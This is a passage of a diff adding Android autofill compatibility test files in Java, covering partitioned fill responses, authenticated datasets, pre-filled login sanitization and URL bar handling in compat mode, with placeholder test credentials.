+                        .setField(ID_L1C1, UNUSED_AUTOFILL_VALUE) // from previous partition
+                        .setField(ID_L4C1, UNUSED_AUTOFILL_VALUE)
+                        .setField(ID_L4C2, UNUSED_AUTOFILL_VALUE)
+                        .build())
+                .build();
+        sReplier.addResponse(response4);
+
+        // Trigger partition.
+        focusCell(4, 1);
+        sReplier.getNextFillRequest();
+
+        // Asserts proper datasets are shown on each field defined so far.
+        focusCell(1, 1);
+        mUiBot.assertDatasets("P4D1", "P4D2");
+        focusCell(1, 2);
+        mUiBot.assertDatasets("P4D1", "P4D2");
+        focusCell(2, 1);
+        mUiBot.assertDatasets("P4D1", "P4D2");
+        focusCell(2, 2);
+        mUiBot.assertDatasets("P4D1", "P4D2");
+        focusCell(3, 2);
+        mUiBot.assertDatasets("P4D1", "P4D2");
+        focusCell(3, 1);
+        mUiBot.assertDatasets("P4D1", "P4D2");
+        focusCell(4, 1);
+        mUiBot.assertDatasets("P4D1", "P4D2");
+        focusCell(4, 2);
+        mUiBot.assertDatasets("P4D2");
+
+        /*
+         * Finally, autofill and check results.
+         */
+        final FillExpectation expectation = mActivity.expectAutofill();
+        final String chosenOne;
+        if (pickFirst) {
+            expectation
+                .onCell(1, 1, "4l1c1")
+                .onCell(1, 2, "4l1c2")
+                .onCell(2, 1, "4l2c1")
+                .onCell(2, 2, "4l2c2")
+                .onCell(3, 1, "4l3c1")
+                .onCell(3, 2, "4l3c2")
+                .onCell(4, 1, "4l4c1");
+            chosenOne = "P4D1";
+        } else {
+            expectation
+                .onCell(1, 1, "4L1C1")
+                .onCell(1, 2, "4L1C2")
+                .onCell(2, 1, "4L2C1")
+                .onCell(2, 2, "4L2C2")
+                .onCell(3, 1, "4L3C1")
+                .onCell(3, 2, "4L3C2")
+                .onCell(4, 1, "4L4C1")
+                .onCell(4, 2, "4L4C2");
+            chosenOne = "P4D2";
+        }
+
+        focusCell(4, 1);
+        mUiBot.selectDataset(chosenOne);
+        expectation.assertAutoFilled();
+    }
+
+    @Test
+    public void testAutofillAllResponsesAuthenticated() throws Exception {
+        // Set service.
+        enableService();
+
+        // Prepare 1st partition.
+        final IntentSender auth1 = AuthenticationActivity.createSender(getContext(), 1,
+                new CannedFillResponse.Builder()
+                        .addDataset(new CannedDataset.Builder()
+                                .setPresentation(createPresentation("Partition 1"))
+                                .setField(ID_L1C1, "l1c1")
+                                .setField(ID_L1C2, "l1c2")
+                                .build())
+                        .build());
+        final CannedFillResponse response1 = new CannedFillResponse.Builder()
+                .setPresentation(createPresentation("Auth 1"))
+                .setAuthentication(auth1, ID_L1C1, ID_L1C2)
+                .build();
+        sReplier.addResponse(response1);
+        final FillExpectation expectation1 = mActivity.expectAutofill()
+                .onCell(1, 1, "l1c1")
+                .onCell(1, 2, "l1c2");
+        focusCell(1, 1);
+        sReplier.getNextFillRequest();
+
+        mUiBot.assertDatasets("Auth 1");
+
+        // Prepare 2nd partition.
+        final IntentSender auth2 = AuthenticationActivity.createSender(getContext(), 2,
+                new CannedFillResponse.Builder()
+                        .addDataset(new CannedDataset.Builder()
+                                .setPresentation(createPresentation("Partition 2"))
+                                .setField(ID_L2C1, "l2c1")
+                                .setField(ID_L2C2, "l2c2")
+                                .build())
+                        .build());
+        final CannedFillResponse response2 = new CannedFillResponse.Builder()
+                .setPresentation(createPresentation("Auth 2"))
+                .setAuthentication(auth2, ID_L2C1, ID_L2C2)
+                .build();
+        sReplier.addResponse(response2);
+        final FillExpectation expectation2 = mActivity.expectAutofill()
+                .onCell(2, 1, "l2c1")
+                .onCell(2, 2, "l2c2");
+        focusCell(2, 1);
+        sReplier.getNextFillRequest();
+
+        mUiBot.assertDatasets("Auth 2");
+
+        // Prepare 3rd partition.
+        final IntentSender auth3 = AuthenticationActivity.createSender(getContext(), 3,
+                new CannedFillResponse.Builder()
+                        .addDataset(new CannedDataset.Builder()
+                                .setPresentation(createPresentation("Partition 3"))
+                                .setField(ID_L3C1, "l3c1")
+                                .setField(ID_L3C2, "l3c2")
+                                .build())
+                        .build());
+        final CannedFillResponse response3 = new CannedFillResponse.Builder()
+                .setPresentation(createPresentation("Auth 3"))
+                .setAuthentication(auth3, ID_L3C1, ID_L3C2)
+                .build();
+        sReplier.addResponse(response3);
+        final FillExpectation expectation3 = mActivity.expectAutofill()
+                .onCell(3, 1, "l3c1")
+                .onCell(3, 2, "l3c2");
+        focusCell(3, 1);
+        sReplier.getNextFillRequest();
+
+        mUiBot.assertDatasets("Auth 3");
+
+        // Prepare 4th partition.
+        final IntentSender auth4 = AuthenticationActivity.createSender(getContext(), 4,
+                new CannedFillResponse.Builder()
+                        .addDataset(new CannedDataset.Builder()
+                                .setPresentation(createPresentation("Partition 4"))
+                                .setField(ID_L4C1, "l4c1")
+                                .setField(ID_L4C2, "l4c2")
+                                .build())
+                        .build());
+        final CannedFillResponse response4 = new CannedFillResponse.Builder()
+                .setPresentation(createPresentation("Auth 4"))
+                .setAuthentication(auth4, ID_L4C1, ID_L4C2)
+                .build();
+        sReplier.addResponse(response4);
+        final FillExpectation expectation4 = mActivity.expectAutofill()
+                .onCell(4, 1, "l4c1")
+                .onCell(4, 2, "l4c2");
+        focusCell(4, 1);
+        sReplier.getNextFillRequest();
+
+        mUiBot.assertDatasets("Auth 4");
+
+        // Now play around the focus to make sure they still display the right values.
+
+        focusCell(1, 2);
+        mUiBot.assertDatasets("Auth 1");
+        focusCell(1, 1);
+        mUiBot.assertDatasets("Auth 1");
+
+        focusCell(3, 1);
+        mUiBot.assertDatasets("Auth 3");
+        focusCell(3, 2);
+        mUiBot.assertDatasets("Auth 3");
+
+        focusCell(2, 1);
+        mUiBot.assertDatasets("Auth 2");
+        focusCell(4, 2);
+        mUiBot.assertDatasets("Auth 4");
+
+        focusCell(2, 2);
+        mUiBot.assertDatasets("Auth 2");
+        focusCell(4, 1);
+        mUiBot.assertDatasets("Auth 4");
+
+        // Finally, autofill and check them.
+        focusCell(2, 1);
+        mUiBot.selectDataset("Auth 2");
+        mUiBot.selectDataset("Partition 2");
+        expectation2.assertAutoFilled();
+
+        focusCell(4, 1);
+        mUiBot.selectDataset("Auth 4");
+        mUiBot.selectDataset("Partition 4");
+        expectation4.assertAutoFilled();
+
+        focusCell(3, 1);
+        mUiBot.selectDataset("Auth 3");
+        mUiBot.selectDataset("Partition 3");
+        expectation3.assertAutoFilled();
+
+        focusCell(1, 1);
+        mUiBot.selectDataset("Auth 1");
+        mUiBot.selectDataset("Partition 1");
+        expectation1.assertAutoFilled();
+    }
+
+    @Test
+    public void testNoMorePartitionsAfterLimitReached() throws Exception {
+        final int maxBefore = getMaxPartitions();
+        try {
+            setMaxPartitions(1);
+            // Set service.
+            enableService();
+
+            // Prepare 1st partition.
+            final CannedFillResponse response1 = new CannedFillResponse.Builder()
+                    .addDataset(new CannedDataset.Builder()
+                            .setField(ID_L1C1, "l1c1", createPresentation("l1c1"))
+                            .setField(ID_L1C2, "l1c2", createPresentation("l1c2"))
+                            .build())
+                    .build();
+            sReplier.addResponse(response1);
+
+            // Trigger autofill.
+            focusCell(1, 1);
+            sReplier.getNextFillRequest();
+
+            // Make sure UI is shown, but don't tap it.
+            mUiBot.assertDatasets("l1c1");
+            focusCell(1, 2);
+            mUiBot.assertDatasets("l1c2");
+
+            // Prepare 2nd partition.
+            final CannedFillResponse response2 = new CannedFillResponse.Builder()
+                    .addDataset(new CannedDataset.Builder()
+                            .setField(ID_L2C1, "l2c1", createPresentation("l2c1"))
+                            .build())
+                    .build();
+            sReplier.addResponse(response2);
+
+            // Trigger autofill on 2nd partition.
+            focusCell(2, 1);
+
+            // Make sure it was ignored.
+            mUiBot.assertNoDatasets();
+
+            // Make sure 1st partition is still working.
+            focusCell(1, 2);
+            mUiBot.assertDatasets("l1c2");
+            focusCell(1, 1);
+            mUiBot.assertDatasets("l1c1");
+
+            // Prepare 3rd partition.
+            final CannedFillResponse response3 = new CannedFillResponse.Builder()
+                    .addDataset(new CannedDataset.Builder()
+                            .setField(ID_L3C2, "l3c2", createPresentation("l3c2"))
+                            .build())
+                    .build();
+            sReplier.addResponse(response3);
+            // Trigger autofill on 3rd partition.
+            focusCell(3, 2);
+
+            // Make sure it was ignored.
+            mUiBot.assertNoDatasets();
+
+            // Make sure 1st partition is still working...
+            focusCell(1, 2);
+            mUiBot.assertDatasets("l1c2");
+            focusCell(1, 1);
+            mUiBot.assertDatasets("l1c1");
+
+            //...and can be autofilled.
+            final FillExpectation expectation = mActivity.expectAutofill()
+                    .onCell(1, 1, "l1c1");
+            mUiBot.selectDataset("l1c1");
+            expectation.assertAutoFilled();
+        } finally {
+            setMaxPartitions(maxBefore);
+        }
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/dropdown/PreFilledLoginActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/dropdown/PreFilledLoginActivityTest.java
new file mode 100644
index 0000000..9c9ca79
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/dropdown/PreFilledLoginActivityTest.java
@@ -0,0 +1,107 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.dropdown;
+
+import static android.autofillservice.cts.testcore.Helper.ID_PASSWORD;
+import static android.autofillservice.cts.testcore.Helper.ID_PASSWORD_LABEL;
+import static android.autofillservice.cts.testcore.Helper.ID_USERNAME;
+import static android.autofillservice.cts.testcore.Helper.ID_USERNAME_LABEL;
+import static android.autofillservice.cts.testcore.Helper.assertTextAndValue;
+import static android.autofillservice.cts.testcore.Helper.assertTextFromResources;
+import static android.autofillservice.cts.testcore.Helper.assertTextIsSanitized;
+import static android.autofillservice.cts.testcore.Helper.assertTextOnly;
+import static android.autofillservice.cts.testcore.Helper.findNodeByResourceId;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PASSWORD;
+
+import android.autofillservice.cts.R;
+import android.autofillservice.cts.activities.PreFilledLoginActivity;
+import android.autofillservice.cts.commontests.AutoFillServiceTestCase;
+import android.autofillservice.cts.testcore.AutofillActivityTestRule;
+import android.autofillservice.cts.testcore.CannedFillResponse;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService.FillRequest;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService.SaveRequest;
+import android.platform.test.annotations.AppModeFull;
+
+import org.junit.Test;
+
+/**
+ * Covers scenarios where the behavior is different because some fields were pre-filled.
+ */
+@AppModeFull(reason = "LoginActivityTest is enough")
+public class PreFilledLoginActivityTest
+        extends AutoFillServiceTestCase.AutoActivityLaunch<PreFilledLoginActivity> {
+
+    private PreFilledLoginActivity mActivity;
+
+    @Override
+    protected AutofillActivityTestRule<PreFilledLoginActivity> getActivityRule() {
+        return new AutofillActivityTestRule<PreFilledLoginActivity>(PreFilledLoginActivity.class) {
+            @Override
+            protected void afterActivityLaunched() {
+                mActivity = getActivity();
+            }
+        };
+    }
+
+    @Test
+    public void testSanitization() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
+                .build());
+
+        // Change view contents.
+        mActivity.onUsernameLabel((v) -> v.setText("DA USER"));
+        mActivity.onPasswordLabel((v) -> v.setText(R.string.new_password_label));
+
+        // Trigger auto-fill.
+        mActivity.onUsername((v) -> v.requestFocus());
+
+        // Assert sanitization on fill request:
+        final FillRequest fillRequest = sReplier.getNextFillRequest();
+
+        // ...dynamic text should be sanitized.
+        assertTextIsSanitized(fillRequest.structure, ID_USERNAME_LABEL);
+
+        // ...password label should be ok because it was set from other resource id
+        assertTextFromResources(fillRequest.structure, ID_PASSWORD_LABEL, "DA PASSWORD", false,
+                "new_password_label");
+
+        // ...username and password should be ok because they were set in the SML
+        assertTextAndValue(findNodeByResourceId(fillRequest.structure, ID_USERNAME),
+                "secret_agent");
+        assertTextAndValue(findNodeByResourceId(fillRequest.structure, ID_PASSWORD), "T0p S3cr3t");
+
+        // Trigger save
+        mActivity.onUsername((v) -> v.setText("malkovich"));
+        mActivity.onPassword((v) -> v.setText("malkovich"));
+        mActivity.tapLogin();
+
+        // Assert the snack bar is shown and tap "Save".
+        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+
+        // Assert sanitization on save: everything should be available!
+        assertTextOnly(findNodeByResourceId(saveRequest.structure, ID_USERNAME_LABEL), "DA USER");
+        assertTextFromResources(saveRequest.structure, ID_PASSWORD_LABEL, "DA PASSWORD", false,
+                "new_password_label");
+        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_USERNAME), "malkovich");
+        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_PASSWORD), "malkovich");
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/dropdown/TimePickerClockActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/dropdown/TimePickerClockActivityTest.java
new file mode 100644
index 0000000..f73fd3d
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/dropdown/TimePickerClockActivityTest.java
@@ -0,0 +1,36 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.dropdown;
+
+import android.autofillservice.cts.activities.TimePickerClockActivity;
+import android.autofillservice.cts.commontests.TimePickerTestCase;
+import android.autofillservice.cts.testcore.AutofillActivityTestRule;
+import android.platform.test.annotations.AppModeFull;
+
+@AppModeFull(reason = "Unit test")
+public class TimePickerClockActivityTest extends TimePickerTestCase<TimePickerClockActivity> {
+
+    @Override
+    protected AutofillActivityTestRule<TimePickerClockActivity> getActivityRule() {
+        return new AutofillActivityTestRule<TimePickerClockActivity>(
+                TimePickerClockActivity.class) {
+            @Override
+            protected void afterActivityLaunched() {
+                mActivity = getActivity();
+            }
+        };
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/dropdown/TimePickerSpinnerActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/dropdown/TimePickerSpinnerActivityTest.java
new file mode 100644
index 0000000..12818da
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/dropdown/TimePickerSpinnerActivityTest.java
@@ -0,0 +1,36 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.dropdown;
+
+import android.autofillservice.cts.activities.TimePickerSpinnerActivity;
+import android.autofillservice.cts.commontests.TimePickerTestCase;
+import android.autofillservice.cts.testcore.AutofillActivityTestRule;
+import android.platform.test.annotations.AppModeFull;
+
+@AppModeFull(reason = "Unit test")
+public class TimePickerSpinnerActivityTest extends TimePickerTestCase<TimePickerSpinnerActivity> {
+
+    @Override
+    protected AutofillActivityTestRule<TimePickerSpinnerActivity> getActivityRule() {
+        return new AutofillActivityTestRule<TimePickerSpinnerActivity>(
+                TimePickerSpinnerActivity.class) {
+            @Override
+            protected void afterActivityLaunched() {
+                mActivity = getActivity();
+            }
+        };
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/dropdown/VirtualContainerActivityCompatModeTest.java b/tests/autofillservice/src/android/autofillservice/cts/dropdown/VirtualContainerActivityCompatModeTest.java
new file mode 100644
index 0000000..72b0e8f
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/dropdown/VirtualContainerActivityCompatModeTest.java
@@ -0,0 +1,306 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.dropdown;
+
+import static android.autofillservice.cts.activities.VirtualContainerActivity.INITIAL_URL_BAR_VALUE;
+import static android.autofillservice.cts.activities.VirtualContainerView.ID_URL_BAR;
+import static android.autofillservice.cts.activities.VirtualContainerView.ID_URL_BAR2;
+import static android.autofillservice.cts.testcore.Helper.ID_PASSWORD;
+import static android.autofillservice.cts.testcore.Helper.ID_USERNAME;
+import static android.autofillservice.cts.testcore.Helper.assertTextAndValue;
+import static android.autofillservice.cts.testcore.Helper.assertTextIsSanitized;
+import static android.autofillservice.cts.testcore.Helper.findNodeByResourceId;
+import static android.autofillservice.cts.testcore.Helper.getContext;
+import static android.autofillservice.cts.testcore.InstrumentedAutoFillServiceCompatMode.SERVICE_NAME;
+import static android.autofillservice.cts.testcore.InstrumentedAutoFillServiceCompatMode.SERVICE_PACKAGE;
+import static android.provider.Settings.Global.AUTOFILL_COMPAT_MODE_ALLOWED_PACKAGES;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PASSWORD;
+
+import static com.android.compatibility.common.util.SettingsUtils.NAMESPACE_GLOBAL;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.app.assist.AssistStructure.ViewNode;
+import android.autofillservice.cts.testcore.CannedFillResponse;
+import android.autofillservice.cts.testcore.CannedFillResponse.CannedDataset;
+import android.autofillservice.cts.testcore.Helper;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService.FillRequest;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService.SaveRequest;
+import android.autofillservice.cts.testcore.OneTimeTextWatcher;
+import android.autofillservice.cts.testcore.Timeouts;
+import android.content.AutofillOptions;
+import android.os.SystemClock;
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.Presubmit;
+import android.service.autofill.SaveInfo;
+
+import com.android.compatibility.common.util.SettingsStateChangerRule;
+import com.android.compatibility.common.util.SettingsUtils;
+
+import org.junit.After;
+import org.junit.ClassRule;
+import org.junit.Test;
+
+/**
+ * Test case for an activity containing virtual children but using the A11Y compat mode to implement
+ * the Autofill APIs.
+ */
+public class VirtualContainerActivityCompatModeTest extends VirtualContainerActivityTest {
+
+    @ClassRule
+    public static final SettingsStateChangerRule sCompatModeChanger = new SettingsStateChangerRule(
+            sContext, NAMESPACE_GLOBAL, AUTOFILL_COMPAT_MODE_ALLOWED_PACKAGES,
+            SERVICE_PACKAGE + "[my_url_bar]");
+
+    public VirtualContainerActivityCompatModeTest() {
+        super(true);
+    }
+
+    @After
+    public void resetCompatMode() {
+        sContext.getApplicationContext().setAutofillOptions(null);
+    }
+
+    @Override
+    protected void preActivityCreated() {
+        sContext.getApplicationContext()
+                .setAutofillOptions(AutofillOptions.forWhitelistingItself());
+    }
+
+    @Override
+    protected void postActivityLaunched() {
+        // Set our own compat mode as well..
+        mActivity.mCustomView.setCompatMode(true);
+    }
+
+    @Override
+    protected void enableService() {
+        Helper.enableAutofillService(getContext(), SERVICE_NAME);
+    }
+
+    @Override
+    protected void disableService() {
+        Helper.disableAutofillService(getContext());
+    }
+
+    @Override
+    protected void assertUrlBarIsSanitized(ViewNode urlBar) {
+        assertTextIsSanitized(urlBar);
+        assertThat(urlBar.getWebDomain()).isEqualTo("dev.null");
+        assertThat(urlBar.getWebScheme()).isEqualTo("ftp");
+    }
+
+    @Presubmit
+    @Test
+    public void testMultipleUrlBars_firstDoesNotExist() throws Exception {
+        SettingsUtils.syncSet(sContext, NAMESPACE_GLOBAL, AUTOFILL_COMPAT_MODE_ALLOWED_PACKAGES,
+                SERVICE_PACKAGE + "[first_am_i,my_url_bar]");
+
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedDataset.Builder()
+                .setField(ID_USERNAME, "dude", createPresentation("DUDE"))
+                .build());
+
+        // Trigger autofill.
+        focusToUsername();
+        assertDatasetShown(mActivity.mUsername, "DUDE");
+
+        // Make sure input was sanitized.
+        final FillRequest request = sReplier.getNextFillRequest();
+        final ViewNode urlBar = findNodeByResourceId(request.structure, ID_URL_BAR);
+
+        assertUrlBarIsSanitized(urlBar);
+    }
+
+    @Test
+    @AppModeFull(reason = "testMultipleUrlBars_firstDoesNotExist() is enough")
+    public void testMultipleUrlBars_bothExist() throws Exception {
+        SettingsUtils.syncSet(sContext, NAMESPACE_GLOBAL, AUTOFILL_COMPAT_MODE_ALLOWED_PACKAGES,
+                SERVICE_PACKAGE + "[my_url_bar,my_url_bar2]");
+
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedDataset.Builder()
+                .setField(ID_USERNAME, "dude", createPresentation("DUDE"))
+                .build());
+
+        // Trigger autofill.
+        focusToUsername();
+        assertDatasetShown(mActivity.mUsername, "DUDE");
+
+        // Make sure input was sanitized.
+        final FillRequest request = sReplier.getNextFillRequest();
+        final ViewNode urlBar = findNodeByResourceId(request.structure, ID_URL_BAR);
+        final ViewNode urlBar2 = findNodeByResourceId(request.structure, ID_URL_BAR2);
+
+        assertUrlBarIsSanitized(urlBar);
+        assertTextIsSanitized(urlBar2);
+    }
+
+    @Test
+    @AppModeFull(reason = "testMultipleUrlBars_firstDoesNotExist() is enough")
+    public void testFocusOnUrlBarIsIgnored() throws Throwable {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD).build());
+
+        // Trigger auto-fill.
+        focusToUsernameExpectNoWindowEvent();
+        sReplier.getNextFillRequest();
+
+        mActivity.syncRunOnUiThread(() -> mActivity.mUrlBar.requestFocus());
+
+        // Must force sleep, as there is no callback that we can wait upon.
+        SystemClock.sleep(Timeouts.FILL_TIMEOUT.ms());
+
+        sReplier.assertNoUnhandledFillRequests();
+    }
+
+    @Test
+    @AppModeFull(reason = "testMultipleUrlBars_firstDoesNotExist() is enough")
+    public void testUrlBarChangeIgnoredWhenServiceCanSave() throws Throwable {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setSaveInfoFlags(SaveInfo.FLAG_SAVE_ON_ALL_VIEWS_INVISIBLE)
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD).build());
+
+        // Trigger auto-fill.
+        focusToUsernameExpectNoWindowEvent();
+        sReplier.getNextFillRequest();
+
+        // Fill in some stuff
+        mActivity.mUsername.setText("foo");
+        focusToPasswordExpectNoWindowEvent();
+        mActivity.mPassword.setText("bar");
+
+        // Change URL bar before views become invisible
+        final OneTimeTextWatcher urlWatcher = new OneTimeTextWatcher("urlWatcher",
+                mActivity.mUrlBar, "http://null/dev");
+        mActivity.mUrlBar.addTextChangedListener(urlWatcher);
+        mActivity.syncRunOnUiThread(() -> mActivity.mUrlBar.setText("http://null/dev"));
+        urlWatcher.assertAutoFilled();
+
+        // Trigger save.
+        // TODO(b/76220569): ideally, save should be triggered by calling:
+        //
+        // setViewsInvisible(VisibilityIntegrationMode.OVERRIDE_IS_VISIBLE_TO_USER);
+        //
+        // But unfortunately that's not always working due to flakiness on showing the UI, hence
+        // we're forcing commit - after all, the point here is the the URL update above didn't
+        // cancel the session (which is the case on
+        // testUrlBarChangeCancelSessionWhenServiceCannotSave()
+        mActivity.getAutofillManager().commit();
+
+        // Assert UI is showing.
+        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+
+        // Assert results
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        final ViewNode username = findNodeByResourceId(saveRequest.structure, ID_USERNAME);
+        final ViewNode password = findNodeByResourceId(saveRequest.structure, ID_PASSWORD);
+        final ViewNode urlBar = findNodeByResourceId(saveRequest.structure, ID_URL_BAR);
+
+        assertTextAndValue(username, "foo");
+        assertTextAndValue(password, "bar");
+        // Make sure it's the URL bar from initial session.
+        assertTextAndValue(urlBar, INITIAL_URL_BAR_VALUE);
+    }
+
+    @Test
+    @AppModeFull(reason = "testMultipleUrlBars_firstDoesNotExist() is enough")
+    public void testUrlBarChangeCancelSessionWhenServiceCannotSave() throws Throwable {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                    .setField(ID_USERNAME, "dude")
+                    .setField(ID_PASSWORD, "sweet")
+                    .setPresentation(createPresentation("The Dude"))
+                    .build())
+                // there's no SaveInfo here
+                .build());
+
+        // Trigger auto-fill.
+        focusToUsernameExpectNoWindowEvent();
+        sReplier.getNextFillRequest();
+        assertDatasetShown(mActivity.mUsername, "The Dude");
+
+        // Fill in some stuff
+        mActivity.mUsername.setText("foo");
+        focusToPasswordExpectNoWindowEvent();
+        mActivity.mPassword.setText("bar");
+
+        // Change URL bar before views become invisible
+        final OneTimeTextWatcher urlWatcher = new OneTimeTextWatcher("urlWatcher",
+                mActivity.mUrlBar, "http://null/dev");
+        mActivity.mUrlBar.addTextChangedListener(urlWatcher);
+        mActivity.syncRunOnUiThread(() -> mActivity.mUrlBar.setText("http://null/dev"));
+        urlWatcher.assertAutoFilled();
+
+        // Trigger save...
+        mActivity.getAutofillManager().commit();
+
+        // ... should not be triggered because the session was already canceled...
+        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+    }
+
+    @Test
+    @AppModeFull(reason = "testMultipleUrlBars_firstDoesNotExist() is enough")
+    public void testUrlBarChangeCancelSessionWhenServiceReturnsNullResponse() throws Throwable {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(CannedFillResponse.NO_RESPONSE);
+
+        // Trigger auto-fill.
+        focusToUsernameExpectNoWindowEvent();
+        sReplier.getNextFillRequest();
+
+        // Fill in some stuff
+        mActivity.mUsername.setText("foo");
+        sReplier.addResponse(CannedFillResponse.NO_RESPONSE);
+        focusToPasswordExpectNoWindowEvent();
+        sReplier.getNextFillRequest();
+        mActivity.mPassword.setText("bar");
+
+        // Change URL bar before views become invisible
+        final OneTimeTextWatcher urlWatcher = new OneTimeTextWatcher("urlWatcher",
+                mActivity.mUrlBar, "http://null/dev");
+        mActivity.mUrlBar.addTextChangedListener(urlWatcher);
+        mActivity.syncRunOnUiThread(() -> mActivity.mUrlBar.setText("http://null/dev"));
+        urlWatcher.assertAutoFilled();
+
+        // Trigger save...
+        mActivity.getAutofillManager().commit();
+
+        // ... should not be triggered because the session was already canceled...
+        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/dropdown/VirtualContainerActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/dropdown/VirtualContainerActivityTest.java
new file mode 100644
index 0000000..fc32cfc
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/dropdown/VirtualContainerActivityTest.java
@@ -0,0 +1,828 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.dropdown;
+
+import static android.autofillservice.cts.activities.VirtualContainerView.ID_URL_BAR;
+import static android.autofillservice.cts.activities.VirtualContainerView.LABEL_CLASS;
+import static android.autofillservice.cts.activities.VirtualContainerView.TEXT_CLASS;
+import static android.autofillservice.cts.testcore.CannedFillResponse.NO_RESPONSE;
+import static android.autofillservice.cts.testcore.Helper.ID_PASSWORD;
+import static android.autofillservice.cts.testcore.Helper.ID_PASSWORD_LABEL;
+import static android.autofillservice.cts.testcore.Helper.ID_USERNAME;
+import static android.autofillservice.cts.testcore.Helper.ID_USERNAME_LABEL;
+import static android.autofillservice.cts.testcore.Helper.assertTextAndValue;
+import static android.autofillservice.cts.testcore.Helper.assertTextIsSanitized;
+import static android.autofillservice.cts.testcore.Helper.assertTextOnly;
+import static android.autofillservice.cts.testcore.Helper.dumpStructure;
+import static android.autofillservice.cts.testcore.Helper.findNodeByResourceId;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PASSWORD;
+
+import static com.google.common.truth.Truth.assertThat;
